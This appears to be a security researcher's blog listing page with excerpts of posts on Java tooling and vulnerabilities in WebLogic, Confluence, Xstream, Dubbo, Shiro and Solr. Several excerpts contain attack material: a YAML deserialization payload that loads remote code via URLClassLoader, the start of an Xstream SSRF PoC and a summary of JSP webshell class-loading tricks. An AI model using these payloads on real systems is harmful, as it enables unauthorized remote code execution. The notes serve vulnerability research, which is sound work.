
java
caiqiiqi
这个作者很懒,什么都没留下…
展开
-
application.yml和bootstrap.yml关系
bootstrap.yml(bootstrap.properties)用来在程序引导时执行,应用于更加早期配置信息读取,如可以使用来配置application.yml中使用到参数等。application.yml(application.properties) 应用程序特有配置信息,可以用来配置后续各个模块中需使用的公共参数等。bootstrap.yml 先于 application.yml加载。...原创 2022-07-20 10:43:34 · 5283 阅读 · 1 评论 -
调试Java应用
使用spotbugs的时候,加载find-sec-bugs插件,但是由于我之前删了一些东西,导致界面抛出了空指针异常,而且没有错误的日志错误堆栈之类的。先在IDEA中设置remote debug:复制命令,然后加入到启动命令中。于是使用调试命令启动:[~/GitProjects/spotbugs-4.4.2]$ java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar ./lib/spotbugs.ja原创 2021-10-23 21:48:33 · 6717 阅读 · 0 评论 -
使用IDEA对jar进行diff
参考:https://www.jetbrains.com/help/idea/differences-viewer.html#keyboard-shortcuts点击项目中的jar,然后点击Command + D,就可以进行diff了。原创 2021-06-10 18:54:09 · 6207 阅读 · 2 评论 -
javax.net.ssl.SSLHandshakeException
: No appropriate protocol (protocol is disabled or cipher suites看这里说的是java版本的问题,https://stackoverflow.com/questions/38205947/sslhandshakeexception-no-appropriate-protocol因为我下载的版本比较高1.8.0_291,所以需要下载较低的版本,191之前的?比如我下载181:就不报错了。...原创 2021-05-28 16:51:31 · 315 阅读 · 0 评论 -
java: Compilation failed: internal java compiler error
参考:https://merikan.com/2021/02/unable-to-build-my-project-with-intellij/https://github.com/projectlombok/lombok/issues/2592要么Compiler里的,Shared build process VM options加上这个参数:-Djps.track.ap.dependencies=false要么提高lombok的版本到1.18.18。...原创 2021-05-28 15:29:08 · 277 阅读 · 0 评论 -
[CVE-2018-2894] WebLogic文件上传漏洞
CVE-2018-2894:/ws_utc 这个路径的文件上传漏洞两个上传接口触发点:/ws_utc/resources/ws/config/import/ws_utc/config.do本poc以前者为例,进行poc和利用。上传成功之后会响应500,抛出NullPointerException,但是利用已经成功。关于weblogic各版本的可利用情况:10.3.6版本上未发现该功能,需手动开启:登录控制台-》配置-》高级-》勾选启用Web服务测试页 -》保存12.1.3.0默认开启原创 2021-03-29 14:13:39 · 1034 阅读 · 0 评论 -
kafa安装
开启zk:[cqq@localhost apache-zookeeper-3.6.1-bin]$ bin/zkServer.sh start开启kafka:./kafka-server-start.sh …/config/server.properties原创 2021-03-25 11:16:49 · 207 阅读 · 0 评论 -
‘utf-8‘ codec can‘t decode byte 0xc5 in position 119: invalid continuation byte
使用pocsuite进行验证时,碰到这种错误。主要是因为不想用requests库,想自己用socket封装HTTP请求,而在接收数据进行解码时碰到unicode字符串解决方法:1、buf.decode(errors=‘ignore’)参考:https://www.cnblogs.com/zz22–/p/8799071.html2、hello.decode(‘unicode_escape’)参考:https://www.cnblogs.com/xiaolan-Lin/p/11653432.html原创 2021-03-24 11:49:25 · 465 阅读 · 0 评论 -
cloudera安装
参考:https://my.oschina.net/u/4262067/blog/4693381https://docs.cloudera.com/documentation/other/Licenses/topics/ctpl_topic_4_2.html原创 2021-03-23 14:35:40 · 268 阅读 · 0 评论 -
VMware vCenter任意文件读取漏洞
参考:https://twitter.com/ptswarm/status/1316016337550938122【安全风险通告】VMware vCenter任意文件读取漏洞安全风险通告安装:https://blog.youkuaiyun.com/shida_csdn/article/details/82863169https://www.miensi.com/352.html安装有点麻烦,算了。下载:https://my.vmware.com/en/web/vmware/downloads/det原创 2020-10-15 10:31:18 · 2414 阅读 · 0 评论 -
[CVE-2020-13924] Apache Ambari任意文件下载
安装方式:http://ambari.apache.org/install.htmlhttps://blog.e-zest.com/installing-and-setting-hdfs-cluster-through-ambari来源:https://seclists.org/oss-sec/2021/q1/116原创 2021-02-08 10:42:13 · 1676 阅读 · 0 评论 -
Apache Druid远程代码执行漏洞[CVE-2021-25646]
安装教程:参考:https://druid.apache.org/docs/latest/tutorials/index.html执行用户提供的脚本:https://druid.apache.org/docs/latest/development/javascript.html原创 2021-02-01 14:09:49 · 766 阅读 · 1 评论 -
[CVE-2020-17532] Apache servicecomb-java-chassis Yaml remote deserialization vulnerability
修复的commit还有测试用例都在里面:https://github.com/apache/servicecomb-java-chassis/commit/839a52e27c754cb5ce14f20063902f21065bd26c又是yaml反序列化:!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/"]]]]或者:!!javax.script.原创 2021-01-21 20:24:50 · 497 阅读 · 0 评论 -
反序列化新的Gadget:com.sun.jndi.ldap.LdapAttribute
这个CTF是1.4的Java。同时由于这个类在1.8中依然存在,所以也可以在1.8利用:一些新手可能会被 ysoserial 里标注的利用链依赖库版本所迷惑,认为某个链就只能在对应标注的依赖版本下起作用,其实并非如此。像 ysoserial 里 CommonsBeanutils1 这个链,作者标注的依赖版本是:commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2但这些版本实际上反映的只是 ysoserial 作者在原创 2021-01-14 12:00:28 · 1349 阅读 · 0 评论 -
鉴权/认证框架Spring Security和Apache Shiro比较
参考:https://www.cnblogs.com/minxiang-luo/p/12492905.htmlhttps://www.javadevjournal.com/spring-boot/spring-boot-application-intellij/松哥手把手教你在 SpringBoot 中防御 CSRF 攻击!so easy!打开IDEA => File => New => Project,选择选择 Spring Initializr如果IDEA自动下载的依赖中原创 2021-01-13 17:42:34 · 1675 阅读 · 0 评论 -
Apache Flink漏洞CVE-2020-17518
参考:https://www.freebuf.com/vuls/260257.htmlhttps://www.anquanke.com/post/id/227668原创 2021-01-08 19:15:19 · 738 阅读 · 0 评论 -
alibaba nacos
下载地址:https://github.com/alibaba/nacos/releases/download/2.0.0-ALPHA.1/nacos-server-2.0.0-ALPHA.1.zip安装启动方法:cd nacos\bin.\startup.cmd -m standalone启动输出:PS C:\Users\Administrator\Downloads\nacos-server-2.0.0-ALPHA.1\nacos\bin> .\startup.cmd -m st原创 2020-12-31 11:26:31 · 2936 阅读 · 0 评论 -
Dubbo新漏洞
Dubbo的反序列化漏洞比较:[CVE-2019-17564] 当用户选择http协议进行通信时,Apache Dubbo 将接受来自消费者远程调用的POST请求并执行一个反序列化的操作。由于此步骤没有任何安全校验,因此可以造成反序列化执行任意代码。[CVE-2020-1948] 默认反序列化方式存在代码执行漏洞,当 Dubbo 服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。参考:ht原创 2020-12-25 14:22:39 · 2294 阅读 · 0 评论 -
[CVE-2020-35476] OpenTSDB <=2.4.0 RCE
安装条件:ZookeeperHBaseZookeeperwget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.6.2/apache-zookeeper-3.6.2.tar.gzcd confcp zoo_sample.cfg zoo.cfgvi zoo.cfg# 修改dataDir=data,然后启动bin/zkServer.sh startHBaseopentsdb的后端数据存储依赖于HB原创 2020-12-21 16:52:01 · 1271 阅读 · 0 评论 -
[CVE-2020-26258/26259]Xstream任意文件删除/SSRF漏洞
漏洞详情CVE-2020-26259:任意文件删除。CVE-2020-26258:SSRF细节poc[CVE-2020-26258] SSRF<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.run原创 2020-12-15 11:22:19 · 3510 阅读 · 8 评论 -
Confluence未授权模板注入/代码执行(CVE-2019-3396)
https://jira.atlassian.com/browse/CONFSERVER-57974https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.pyPocPOST /rest/tinymce/1/macro/preview HTT...原创 2019-04-04 20:15:34 · 6785 阅读 · 1 评论 -
AMF反序列化/XXE/SSRF漏洞
参考:CVE-2017-5641Previous versions of Apache Flex BlazeDS (4.7.2 and earlier) did not restrict which types were allowed for AMF(X) object deserialization by default.Adobe/Apache Flex Java library历史原因:Flex BlazeDS by Adobe (retired, contributed Flex原创 2020-12-04 11:16:15 · 4162 阅读 · 0 评论 -
mosec-maven-plugin检测maven项目的第三方库漏洞
settings.xml里:<!-- 添加pluginGroup可简化命令行参数 --><pluginGroups> <pluginGroup>com.immomo.momosec</pluginGroup></pluginGroups><profiles> <profile> <id>momo-plugin</id> <pluginReposi原创 2020-11-25 14:58:48 · 949 阅读 · 0 评论 -
配置apollo
https://github.com/nobodyiam/apollo-build-scriptshttps://github.com/ctripcorp/apollo/wiki/Quick-Start原创 2020-11-24 17:45:46 · 531 阅读 · 0 评论 -
maven仓库配置
一般在settings.xml中配置的是:<mirror> <id>alimaven</id> <name>aliyun maven</name> <url>http://maven.aliyun.com/nexus/content/groups/public/</url>; <mirrorOf>central</mirrorOf></mirror>然后让IDEA设原创 2020-11-23 16:04:33 · 1238 阅读 · 0 评论 -
maven排除某依赖并按照指定版本的artifact
比如:pom.xml中 <dependency> <groupId>com.自研框架</groupId> <artifactId>自研框架-spring-boot-starter-shiro</artifactId> </dependency>然后有一个默认的版本号,而shiro继承在里面,想改shiro的版本,就得改自研框架-spring-boot-原创 2020-11-12 18:54:09 · 4724 阅读 · 1 评论 -
IDEA调试启动过慢
删除一些方法断点,保留行断点。方法断点会严重拖慢启动速度。参考:https://blog.youkuaiyun.com/fanrenxiang/article/details/79585295https://tech.bejond.org/2018/05/30/Intellij-debug%E6%A8%A1%E5%BC%8F%E5%90%AF%E5%8A%A8%E5%BE%88%E6%85%A2%E8%B0%83%E6%95%B4/https://www.cnblogs.com/han-1034683568原创 2020-11-11 17:06:49 · 262 阅读 · 0 评论 -
一次Spring Boot+mysql+mybatis排错[java.sql.SQLSyntaxErrorException: Unknown error 1146]
运行spring boot项目(mybatis),运行之后,报错:### SQL: SELECT id, ...email,username FROM xx_user WHERE (username = ?)### Cause: java.sql.SQLSyntaxErrorException: Unknown error 1146; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Unk原创 2020-11-11 14:39:43 · 4947 阅读 · 0 评论 -
xxl-job 执行器 RESTful API 未授权访问 RCE
参考:https://www.buaq.net/go-43356.htmlhttps://github.com/jas502n/xxl-jobhttps://landgrey.me/blog/18/环境搭建下载源码git clone https://github.com/xuxueli/xxl-job.git打开文件xxl-job/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources原创 2020-11-10 14:27:07 · 1899 阅读 · 0 评论 -
[CVE-2020-13935] Tomcat WebSocket拒绝服务漏洞
影响范围9.0.0.M1~9.0.3610.0.0-M1~10.0.0-M68.5.0~8.5.567.0.27~7.0.104修复建议升级到修复版本http://tomcat.apache.org/缓解措施:若无特殊需要,关闭Tomcat Websocket功能,删除example下的websocket示例。漏洞检测:判断版本判断examples的websocket页面是否存在漏洞利用效果:端口可访问;服务不可用。升级之后的效果:使用之前的利用方式无法造成DOS效果。原创 2020-11-09 14:04:45 · 2850 阅读 · 3 评论 -
gadgetinspector学习
参考threedr3am大佬的讲解:改造gadgetinspector篇-自动化挖掘Fastjson gadget chaingit clone https://github.com/threedr3am/gadgetinspectorcd gadgetinspector./gradlew shadowJar# 执行java -jar build/libs/gadget-inspector-all.jar --config fastjson /c/Users/Administrator/.原创 2020-10-30 18:36:06 · 582 阅读 · 0 评论 -
[CVE-2020-14882/CVE-2020-14883]weblogioc http console认证绕过+任意代码执行
参考:CVE-2020-14882 weblogic 未授权命令执行复现https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbfAdministrator@cqq MINGW64 /e/Oracle/Middleware12.2.1.3$ grep -rn "com.tangosol.coherence.mvel2.sh.ShellSession"原创 2020-10-29 12:48:39 · 3435 阅读 · 4 评论 -
Shiro Padding Oracle Attack
#TODO参考:我对Padding Oracle攻击的分析和思考(详细)Shiro Padding Oracle Attack 反序列化Apache Shiro源码浅析之从远古洞到最新PaddingOracle CBChttps://github.com/threedr3am/marshalsec#2-shiropaddingoraclecbcpadding oracle 原理深度解析 & CBC 字节翻转攻击原理解析...原创 2020-10-26 14:44:17 · 608 阅读 · 1 评论 -
JMX RMI服务
参考:Tomcat开启JMX远程监控在catalina.bat文件中新增SET CATALINA_OPTS= %CATALINA_OPTS% -Dcom.sun.management.jmxremoteSET CATALINA_OPTS= %CATALINA_OPTS% -Dcom.sun.management.jmxremote.port=7199SET CATALINA_OPTS= %CATALINA_OPTS% -Dcom.sun.management.jmxremote.ssl=fal原创 2020-10-22 20:05:00 · 706 阅读 · 2 评论 -
[CVE-2020-13933]Shiro权限绕过导致的Nexus漏洞
参考:https://support.sonatype.com/hc/en-us/articles/360053556313-CVE-2020-13933-Nexus-Repository-Manger-2-3-Shiro-Authentication-Bypasshttps://issues.sonatype.org/browse/NEXUS-25086https://help.aliyun.com/noticelist/articleid/1060730690.htmlhttps://gith原创 2020-10-22 15:51:44 · 1520 阅读 · 0 评论 -
IDEA将控制台的输出重定向到文件
参考:IDEA配置重定向功能原创 2020-10-15 15:25:16 · 2334 阅读 · 0 评论 -
[CVE-2020-26945]mybatis二级缓存反序列化漏洞
参考:https://github.com/mybatis/mybatis-3/compare/mybatis-3.5.5…mybatis-3.5.6https://github.com/mybatis/mybatis-3/pull/2079CVE-2020-26945 mybatis二级缓存反序列化的分析与复现原创 2020-10-14 10:35:01 · 2733 阅读 · 0 评论 -
[CVE-2020-13957] Solr configset权限绕过漏洞
影响版本6.6.0 to 6.6.57.0.0 to 7.7.38.0.0 to 8.6.2漏洞描述本来Solr禁止一些可能造成RCE的危险操作通过ConfigSet这个API上传进行配置。但是可以通过结合UPLOAD/CREATE这两个ACTION来绕过这一限制。原文Solr prevents some features considered dangerous (which could be used for remote code execution) to be configur原创 2020-10-13 11:33:29 · 2678 阅读 · 5 评论 -
JSP webshell学习
参考:JSP-Webshells集合都0202年了老嗨还在用的 - 各种姿势jsp webshell原理总结使用com.sun.org.apache.bcel.internal.util.ClassLoader加载BCEL格式的字节码自定义ClassLoader,在findClass方法中硬编码类的字节码的base64,然后loadClass利用new ScriptEngineManager().getEngineByName(“nashorn”)#eval执行任意代码使用URLClas原创 2020-10-10 17:07:06 · 1299 阅读 · 0 评论 -
OpenRASP(Runtime Application Self-Protection)
与WAF不同,WAF是在应用的流量入口之前(即应用外面),RASP是跟应用在一个JVM里(即应用内部)。下载地址:https://github.com/baidu/openrasp/releases/download/v1.3.5/rasp-java.zip安装参考:https://rasp.baidu.com/doc/install/manual/spring-boot.html百度安全的OpenRASP项目,究竟是什么?Spring boot应用安装方式:在IEDA启动的VM参数中:原创 2020-09-27 16:42:59 · 648 阅读 · 0 评论